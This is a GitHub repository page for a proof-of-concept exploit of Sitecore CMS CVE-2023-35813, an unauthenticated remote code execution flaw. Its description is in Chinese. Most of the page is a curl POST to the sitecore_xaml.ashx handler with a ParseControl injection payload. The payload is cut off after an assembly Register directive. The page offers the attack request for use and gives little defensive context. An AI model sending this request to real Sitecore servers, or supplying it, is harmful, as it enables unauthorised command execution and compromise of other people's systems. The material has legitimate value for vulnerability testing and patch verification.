nmlz/CVE-2023-35813_PoC
GitHub: nmlz/CVE-2023-35813_PoC
针对 Sitecore CMS CVE-2023-35813 远程代码执行漏洞的概念验证代码，演示了通过构造恶意请求触发未授权命令执行的利用路径。
Stars: 0 | Forks: 0
curl -k -v -X POST "https://[target]/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "__ISEVENT=1" \
--data-urlencode "__SOURCE=" \
--data-urlencode "__PARAMETERS=ParseControl(\"<%@Register
TagPrefix='x'
Namespace='System.Runtime.Remoting.Services'
Assembly='System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
%>
标签：CISA项目, RCE, Sitecore, 漏洞验证脚本